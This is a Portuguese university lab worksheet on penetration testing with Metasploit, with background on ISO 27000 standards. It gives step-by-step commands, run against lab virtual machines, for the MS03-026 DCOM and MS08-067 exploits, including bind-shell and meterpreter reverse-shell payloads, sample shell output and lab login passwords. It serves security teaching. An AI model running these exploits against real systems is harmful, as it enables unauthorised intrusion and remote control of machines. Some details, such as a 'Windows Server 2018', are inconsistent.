**ESQUEMA DE PLANO DE AULA PRÁTICA**

**TAREFA 9a** "Teste de Penetração Metasploit-Windows Server"

Tópico no Moodle: Tarefa 9 – Teste de Penetração Metasploit-Windows Server 2008  
 (Metasploit Framework)

Data: 014-11-2014  
  
Tempo de Aula: 2 horas-aula  
  
Grupo: <Aluno\_1> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

<Aluno\_2> \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

**ASSUNTO**

Executadas as tarefas de reconhecimento, varreduras e enumeração, você deverá estar de posses de informações valiosas que poderão ser utilizadas para se aplicar em ferramentas de teste de penetração.

Existem algumas outras metodologias como o mesmo objetivo de provar a segurança de um sistema. Tais metodologias seguem o caminho de se fazer, por exemplo, um Check List, após o estabelecimento de uma linha base de segurança (*baseline*) num sistema. A ideia dessa metodologia é medir o nível de segurança de um sistema, em relação à linha base de segurança tomada como referência. Esta é a metodologia que vem junto ao Windows Server 2012.

Por outro lado, existem normas internacionais e nacionais, as da família de normas ISO/IEC 27000, relativas à **Gestão da Segurança da Informação.**

ISO: International Organization for Standardization;

IEC: International Electrotechinical Commission.

A International Organization for Standardization (ISO) foi criada em Genebra, na Suíça. Observem que ISO não é a exatamente sigla do nome da organização, se fosse, seria IOS. ISO vem da palavra grega "isos", que quer dizer igual. Alguns lugares falam também que vem de isonomia, pois o propósito desta instituição é de desenvolver normas que possam ser utilizadas igualmente em qualquer país. Cerca de 111 países integram esta organização e no Brasil ela é representada pela ABNT – Associação Brasileira de Normas Técnicas.

A família ISO/IEC 27000 é composta pelas seguintes normas:

ISO 27000: termos e definições;

ISO 27001: que são os requisitos para que uma organização possa estruturar um SGSI - Sistema de Gestão de Segurança da Informação - (estabelecer, implementar, operar, monitorar, manter e melhorar um SGSI documentado). Ela diz o quê a organização deve fazer, mas não como fazer. Considera segurança física, técnica, procedimental e de pessoas. Além disto, ela incorpora um processo de escalonamento de risco e valorização de ativos;

ISO 27002 (ISO 17799:2005): que é um código de práticas que apóia e suporta a ISO 27001. Ela fornece um conjunto completo de controles de segurança e foi desenvolvida por um grupo de especialistas da indústria e do comércio para o benefício de todas as organizações (grandes, médias e pequenas). Fornece uma declaração de práticas comuns que deveriam ser consideradas e implementadas conforme apropriado. Ela apresenta 11 cláusulas de controle de segurança de A5 a A15 e 133 controles, os quais estão resumidos no anexo A da ISO 27001. As cláusulas começam do número 5 (A5) para que o anexo da ISO 27001 fique com a mesma numeração dos capítulos da ISO 27002;

ISO 27003: guia de implementação de um SGSI. Se você for implementar um SGSI, este guia vai ajudar bastante;

ISO 27004: métricas e medições de gestão de segurança da informação (como, o quê e quando medir processos e controles do SGSI);

ISO 27005: orientações para gestão de risco;

ISO 27006: guia relacionado à organizações de terceira parte;

No Brasil elas foram traduzidas pela ABNT e são chamadas de NBR ISO/IEC 27001:2006 e NBR ISO/IEC 27002:2005. Onde, NBR significa Norma Brasileira;

Os números que ficam depois dos dois pontos (NBR ISO/IEC 27001:2006 e NBR ISO/IEC 27002:2005) equivalem ao ano de publicação destes documentos.

O que estas normas, também recomendam, é a metodologia chamada Testes de Penetração (Pen Test), também chamados Testes de Invasão. Estes são formas de se testar sistemas, através da simulação de ataques em ambientes similares aos que um atacante faria no sentido de invadir um sistema.

**BIBLIOGRAFIA BÁSICA**

**Backtrack Linux**, Auditoria e Teste de Invasão em Redes de Computadores, Silvio César Roxo Giavaroto e Gerson Raimundo dos Santos, Editora Ciência Moderna, 2013, ISBN 978-85-399-0374-0, Rio de Janeiro.

**INSTALAÇÕES**

Para esta aula prática, você precisa ter o Virtualbox executando VMs.

Uma delas, Backtrack 5 contém várias ferramentas, inclusive algumas para se fazer testes de penetração em sistemas, como o Metasploit Framework que você irá exercitar agora.

------------------------------------------------------------------------------------------------------------------------------  
 **OBJETIVOS DA AULA**

O objetivo aqui é mostrar como se testa sistemas, utilizando a metodologia de Pen Test.

Compreender como se faz um teste de penetração, usando Metasploit Framework, o qual mostra que uma simulação de testes de penetração em sistemas operacionais.

**SELEÇÃO DE CONTEÚDO – A PRÁTICA**

Alguns conceitos sobre o Metasploit Framework:

O que é um Exploit -> É uma código de programação escrito com o intuito de explorar vulnerabilidades em um sistema computacional. Existem várias linguagens que podem ser usadas para construir código para exploits: Bash Script, Perl, Python, PHP, Ruby, Powershell (Microsoft).

O que é um Payload -> É a carga de código aplicada ao sistema-alvo, visando a abertura de comunicação entre a máquina do auditor (ou atacante) e a máquina do sistema-alvo, para a obtenção do prompt de comando do sistema testado (atacado).

O que é um Shellcode -> São códigos escritos, na maioria das vezes em linguagem *assembly* e que tem o objetivo de explorar alguma vulnerabilidade, injetando código no sistema-avo para causar ataques de *buffer overflow*. Este caso não é usado aqui nas próximas experiências.

Metasploit é uma ferramenta muito utilizada por profissionais de segurança de rede. Desenvolvida por HD Moore, especialista em Segurança, teve sua primeira versão escrita em Perl e foi lançada em outublro de 2003. Na versão 2.0 de abril de 2004 foi reescrita em Ruby. Nesta versão contava com 19 exploits e alguns payloads. Em 2007, a empresa Rapid7 adquire o projeto Metasploit e a ferramenta ganha força na comunidade de segurança. No momento, as versões são como se apresentam para download em:

<http://www.rapid7.com/products/metasploit/editions-and-features.jsp>

Um conteúdo mínimo, consistindo de um roteiro de aula, com Metasploit, visando o objetivo acima, pode ser colocada como:

**MOSTRE SEU EXPERIMENTO (Deposite a tarefa no Moodle).**

**Experiência 1: Teste de Penetração RPC DECOM**

1. Abrir o Virtualbox e executar as VMs Backtrack 5 (192.168.1.113) e Windows Server 2008 (192.168.1.116) ou Windows Server 2012 (192.168.112). Todas se comunicam: se quiser testar, abra o prompt de comando de uma VM e execute o comando ping <ip.ip.ip.ip> contra a outra VM.
2. Na VM Backtrack 5: Login: root Passw: toor

Na Windows Server 2008 Login: Administrador Passw: toor

Na Windows Server 2012 Login: Administrator Passw: @u\_&Cd

1. Na Backtrack 5, execute no prompt de commando, startx, isto vai abrir a interface gráfica do Backtrack.
2. Dê um click símbolo “ “, lá barra do KDE, símbolo mais à esquerda, e irá aparecer o Menu de Executar Aplicações (Application Launcher Menu). Escolha “Backtrack” 🡪 “Explotation Tools” 🡪 “Network Explotation Tools” 🡪 “Metaspolit Framework” 🡪 “msfconsole”. Esta última é uma da interfaces com que o Metasploit trabalha.
3. Na “msfconsole” aparecerá o prompt de comando ... msf> ...
4. Mas, o primeiro passo, será a verificação de serviços ativos na máquina-alvo.
5. Para tal usamos o seguinte comando:

msf>nmap -sS <ip.ip.ip.ip> contra as VMs, na nossa experiência de laboratório.

1. Por exemplo, na VM Windows Server 2012, veja o resultado:

msf>nmap -sS 192.168.1.112

Quais serviços estão ativos ??? Serviços ativos indicam por onde se deve simular um teste de invasão, contra alguma vulnerabilidade.

Ports: 135/TCP open **msrpc** (serviço = msrpc)

445/TCP open **microsoft-ds** (service = Microsoft-ds)

1. Por exemplo, na VM Windows Server 2008, veja o resultado:

msf>nmap -sS 192.168.1.116

Quais serviços estão ativos ??? Serviços ativos indicam por onde se deve simular um teste de invasão, contra alguma vulnerabilidade.

1. Você pode fazer uma busca em alguma vulnerabilidade, no prompt de comando, por exemplo, considerando o serviço msrpc na porta 135 no Windows Server 2012. Porque em versões anteriores a do Windows Server 2012, Windows NT, Windows 2000, Windows XP, Windows Server 2003, existia uma vulnerabilidade no serviço RPC do Windows, chamada RPC DCOM. Esta DCOM corresponde ao que a Microsoft tem, similar ao Java RMI ou ao CORBA. Vamos verificar se isto ocorre no Windows Server 2012.

Faça uma busca sobre os exploits (códigos para exploração de vulnerabilidades) existentes no Metasploit.

Use o comando msf> search dcom

Você está procurando um exploit para DCOM, dentro do Framework Metasploit.   
  
Veja o resultado. O retorno é o exploit ***windows/dcerpc/ms03\_026\_dcom*** e será este exploit que utilizaremos em nosso exemplo de teste de penetração (também chamado de teste de invasão e em inglês, ***pentest***).

1. Nosso próximo passo será a utilização do exploit

***windows/dcerpc/ms03\_026\_dcom***

No prompt de comando faça o comando

use windows/dcerpc/ms03\_026\_dcom

msf> use windows/dcerpc/ms03\_026\_dcom

Aparecerá o seguinte prompt dentro msf:

msf exploit(ms\_03\_026\_dcom)>

Digite em msf exploit(ms\_03\_026\_dcom)>show options

Veja o resultado. A consulta retorna portas e sistemas que estiveram suscetíveis a este tipo de ataque, ou seja NT SP3-6a, NT, 2000, XP, 2003.

Se tivéssemos uma VM Windows Server 2003, usaríamos o payload **generic/shell\_bind\_tcp**

Faríamos na linha de comando:

msf exploit(ms\_03\_026\_dcom)> set rhost 192.168.1.xxx

msf exploit(ms\_03\_026\_dcom)> exploit

Como o Windows Server 2003 era vulnerável a RPC DCOM, o prompt de comando desta máquina alvo seria exibido como mostrado no exemplo seguinte:

[\*] Started bind handler

[\*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal …

[\*] Binding to …

tcp:192.168.1.xxx[135] …

[\*] Bound to …

tcp:192.168.1.xxx[135] …

[\*] Sending exploit …

[\*] Command shell session 1 opened (192.168.1.113:37961 -> 192.168.1.112:4444) at 2013-06-21 19:43:08 -0400

.....

**Microsoft Windows [version 5.2.3790]**

**© Copyright 1985-2003 Microsoft Corp**

**C:\Windows\System32>** … isto indica que a máquina foi invadida.

1. Para o nosso caso, do Windows Server 2008 ou 2012, pode-se verificar que esta vulnerabilidade não está mais presente nas versões atuais.

Faça na linha de comando:

msf exploit(ms\_03\_026\_dcom)> set rhost 192.168.1.xxx

msf exploit(ms\_03\_026\_dcom)> exploit

Veja o resultado, se se consegue penetrar no Windows Server 2008 ou 2012, com este exploit e este payload. Tente fazer cópia da tela do resultado e cole no texto de sua tarefa.

**CONCLUSÃO**

A simulação por Testes de Penetração (Pen Test) podem dar como resultado:

1. uma invasão a um sistema operacional,
2. ou o teste não conduz a nenhuma invasão.

Mostrando os resultados entre outras informações.

**--------------------------------------------------------------------------------------------------  
Experiência 2: Teste de Penetração CONFICKER**

Neste nosso próximo teste de penetração no Windows Server 2008 ou Windows Server 2012, utilizaremos o módulo meterpreter do Metasploit para exemplificarmos uma vulnerabilidade, que infectou máquinas Windows, o worm Conficker, aproveitando-se da fragilidade tecnológica do protocolo SMB.

----------------------------------------------------

O Protocolo SMB (Server Message Block) Versão 2 é uma extensão do Protocolo SMB original. O SMB é usado por computadores clientes para solicitar serviços de arquivo e impressão a um sistema de servidor pela rede. Ambos são protocolos com monitoração de estado em que os clientes estabelecem uma conexão com um servidor, estabelecem um contexto autenticado nessa conexão e emitem várias solicitações para acessar arquivos, impressoras e pipes nomeados para comunicação entre processos.

O SMB 2 foi introduzido para habilitar a comunicação mais rápida entre computadores que executam o Windows Vista® e o Windows Server® 2008. O SMB 2.1 trouxe importantes aprimoramentos de desempenho ao protocolo no Windows Server 2008 R2 e Windows® 7.

----------------------------------------------------------------------------------------------------------

1. Use o nmap e verificarmos através do motor de script desta ferramenta se, por exemplo, o Windows Server 2008 ou 2012 possuem essa vulnerabilidade. Façamos:

# nmap –v –sS –script=smb-check-vulns 192.168.1.112 para Windows Server 2012,   
 neste nosso laboratório.

# nmap –v –sS –script=smb-check-vulns 192.168.1.116 para Windows Server 2018,   
 neste nosso laboratório.

Caso, estejam vulneráveis, a varredura com nmap mostrará a vulnerabilidade MS08-067 (conhecida pelo Metasploit).

Sabendo disto, precisamos, agora, fazermos uso do exploit e testar o acesso ao sistema, no prompt de comando.

Caso o Pen Test dê positivo, o resultado aparecerá assim:

-------------------------------------

Host script results:

| smb-check-vulns:

|**MS08-067: VULNERABLE**

| Conficker: Lickely CLEAN

| regsvcDoS: CHECK DISABLED (add ‘—script-args=unsafe=1’to run)

| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ‘--script-args=unsafe=1’to run)

| MS06-025: CHECK DISABLED (remove ‘save=1’ argument to run)

|\_MS07-029: CHECK DISABLED (remove ‘safe=1’ argument to run)

---------------------------------------------------------------------------------------------------------------

Note a linha em azul, acusando a vulnerabilidade. Se esta existe, então, podemos utilizar o exploit para esta vulnerabilidade ***windows/smb/ms08\_067\_netapi***

No console do Metasploit, bastará digitarmos os seguintes comandos:

msf> use exploit/***windows/smb/ms08\_067\_netapi***

Aparecerá o prompt:

msf exploit(ms08\_067\_netapi)>

Execute neste prompt:

msf exploit(ms08\_067\_netapi)> set rhost 192.168.1.112 (ou rhost 192.168.1.116)

rhost => 192.168.1.112 (porque estamos examinando o WS 2012)

msf exploit(ms08\_067\_netapi)> set payload windows/meterpreter/reverse-tcp

onde neste caso, o payload usado windows/meterpreter/reverse-tcp

msf exploit(ms08\_067\_netapi)> set lhost 192.168.1.113 (aqui o Backtrack é usado para disparar o teste)

lhost => 192.168.1.113

msf exploit(ms08\_067\_netapi)> exploit

Colocamos a máquina remota como a WS 2012 e a máquina de teste em Backtrack 5. Como, neste exemplo, o nmap já acusou a vulnerabilidade MS08\_067, o acesso ao sistema será mostrado, chegando-se via o Metasploit ao prompt de comando do Windows Server 2012 ou 2008.

Será mostrado, após uma série de linhas de código de informações da ferramenta Metasploit.

... ...

... ...

No prompt do meterpreter como segue:

meterpreter> sysinfo

(novas informações pedidas pelo meterpreter são mostradas)

... ...

... ...

Em outro prompt do meterpreter:

meterpreter>ipconfig

(segue uma série de linhas de informação do meterpreter)

... ...

... ...

(até chegar-se ao prompt de comando do servidor testado, sendo invadido)

C:\WINDOWS\system32

Veja, agora, o que segue na sua experiência.

Que informações aparecem caso o teste de penetração dê negativo ? Verifique.

Procure postar o resultado, num arquivo, para ser depositado no Moodle. Esta é a prova de sua participação na aula prática.